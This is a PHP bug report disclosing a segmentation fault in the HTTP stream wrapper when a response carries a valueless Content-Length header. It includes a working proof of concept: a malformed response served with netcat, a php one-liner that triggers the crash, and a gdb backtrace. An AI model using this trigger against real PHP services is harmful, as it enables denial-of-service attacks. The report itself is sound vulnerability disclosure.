From: orange at chroot dot org
Operating system: Ubuntu 17.04
PHP version: 7.2Git-2017-11-17 (Git)
Package: HTTP related
Bug Type: Bug
Bug description:Inappropriately parsing HTTP response leads to PHP segment fault!
Description:
------------
I fuzzed the HTTP parsing function in the latest version of PHP and
found a segment fault. It is very easy to trigger this segment fault and
may be vulnerable in some scenarios.
In ext/standard/http_fopen_wrapper.c#L801http_header_value can be a NULL value. so the atoi(NULL) will lead
to segment fault!
https://github.com/php/php-src/blob/9fbb019848cbb0387cb7267489dd91ebb4d9050e/ext/standard/http_fopen_wrapper.c#L801
Test script:
---------------
# cat poc
HTTP/1.1 200 OK
Content-Length
# nc -vvlp 80 < poc &
# php -r 'file_get_contents("http://localhost/");'
Segmentation fault
gdb-peda$ bt
#0 __GI_____strtol_l_internal (nptr=0x0, endptr=0x0, base=0xa,
group=<optimized out>, loc=0x7ffff72f0400 <_nl_global_locale>)
at ../stdlib/strtol_l.c:293
#1 0x00005555558f284b in atoi (__nptr=0x0) at
/usr/include/stdlib.h:241
#2 php_stream_url_wrap_http_ex (wrapper=0x55555633f6e0
<php_stream_http_wrapper>, path=<optimized out>, mode=<optimized out>,
options=<optimized out>, opened_path=<optimized out>,
context=<optimized out>, redirect_max=<optimized out>,
flags=<optimized out>, response_header=<optimized out>) at
/home/orange/php-src-master/ext/standard/http_fopen_wrapper.c:801
#3 0x00005555558f3a7d in php_stream_url_wrap_http (wrapper=<optimized
out>, path=<optimized out>, mode=<optimized out>,
options=<optimized out>, opened_path=<optimized out>,
context=<optimized out>)
at
/home/orange/php-src-master/ext/standard/http_fopen_wrapper.c:978
#4 0x000055555592baf9 in _php_stream_open_wrapper_ex
(path=0x7ffff42632b8 "http://localhost",
mode=0x55555602b563 "rb",
options=<optimized out>, opened_path=0x0, context=0x7ffff42014c0) at
/home/orange/php-src-master/main/streams/streams.c:2025
#5 0x00005555558a6129 in zif_file_get_contents (execute_data=<optimized
out>, return_value=0x7fffffffc820)
at /home/orange/php-src-master/ext/standard/file.c:550
#6 0x000055555581965c in phar_file_get_contents
(execute_data=0x7ffff421b090, return_value=0x7fffffffc820)
at /home/orange/php-src-master/ext/phar/func_interceptors.c:224
#7 0x0000555555a2209c in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER () at
/home/orange/php-src-master/Zend/zend_vm_execute.h:573
#8 execute_ex (ex=0x0) at
/home/orange/php-src-master/Zend/zend_vm_execute.h:60062
#9 0x0000555555a27345 in zend_execute (op_array=0x7ffff427b2a0,
return_value=<optimized out>)
at /home/orange/php-src-master/Zend/zend_vm_execute.h:64091
#10 0x0000555555968426 in zend_eval_stringl (str=0x555556389d50
"file_get_contents(\"http://localhost\");",
str_len=<optimized out>, retval_ptr=0x0, string_name=<optimized
out>)
at /home/orange/php-src-master/Zend/zend_execute_API.c:1054
#11 0x00005555559684f9 in zend_eval_stringl_ex (str=<optimized out>,
str_len=<optimized out>, retval_ptr=<optimized out>,
string_name=<optimized out>, handle_exceptions=0x1) at
/home/orange/php-src-master/Zend/zend_execute_API.c:1095
#12 0x0000555555a2945a in do_cli (argc=0x3, argv=0x555556389cc0) at
/home/orange/php-src-master/sapi/cli/php_cli.c:1042
#13 0x00005555556556c2 in main ()
#14 0x00007ffff6f4e3f1 in __libc_start_main (main=0x555555655250 <main>,
argc=0x3, argv=0x7fffffffdfe8, init=<optimized out>,
fini=<optimized out>, rtld_fini=<optimized out>,
stack_end=0x7fffffffdfd8) at ../csu/libc-start.c:291
#15 0x00005555556557da in _start ()
Actual result:
--------------
Segment fault
--
Edit bug report at https://bugs.php.net/bug.php?id=75535&edit=1
--
Try a snapshot (PHP 5.4): https://bugs.php.net/fix.php?id=75535&r=trysnapshot54
Try a snapshot (PHP 5.5): https://bugs.php.net/fix.php?id=75535&r=trysnapshot55
Try a snapshot (trunk): https://bugs.php.net/fix.php?id=75535&r=trysnapshottrunk
Fixed in SVN: https://bugs.php.net/fix.php?id=75535&r=fixed
Fixed in release: https://bugs.php.net/fix.php?id=75535&r=alreadyfixed
Need backtrace: https://bugs.php.net/fix.php?id=75535&r=needtrace
Need Reproduce Script: https://bugs.php.net/fix.php?id=75535&r=needscript
Try newer version: https://bugs.php.net/fix.php?id=75535&r=oldversion
Not developer issue: https://bugs.php.net/fix.php?id=75535&r=support
Expected behavior: https://bugs.php.net/fix.php?id=75535&r=notwrong
Not enough info: https://bugs.php.net/fix.php?id=75535&r=notenoughinfo
Submitted twice: https://bugs.php.net/fix.php?id=75535&r=submittedtwice
register_globals: https://bugs.php.net/fix.php?id=75535&r=globals
PHP 4 support discontinued: https://bugs.php.net/fix.php?id=75535&r=php4
Daylight Savings: https://bugs.php.net/fix.php?id=75535&r=dst
IIS Stability: https://bugs.php.net/fix.php?id=75535&r=isapi
Install GNU Sed: https://bugs.php.net/fix.php?id=75535&r=gnused
Floating point limitations: https://bugs.php.net/fix.php?id=75535&r=float
No Zend Extensions: https://bugs.php.net/fix.php?id=75535&r=nozend
MySQL Configuration Error: https://bugs.php.net/fix.php?id=75535&r=mysqlcfg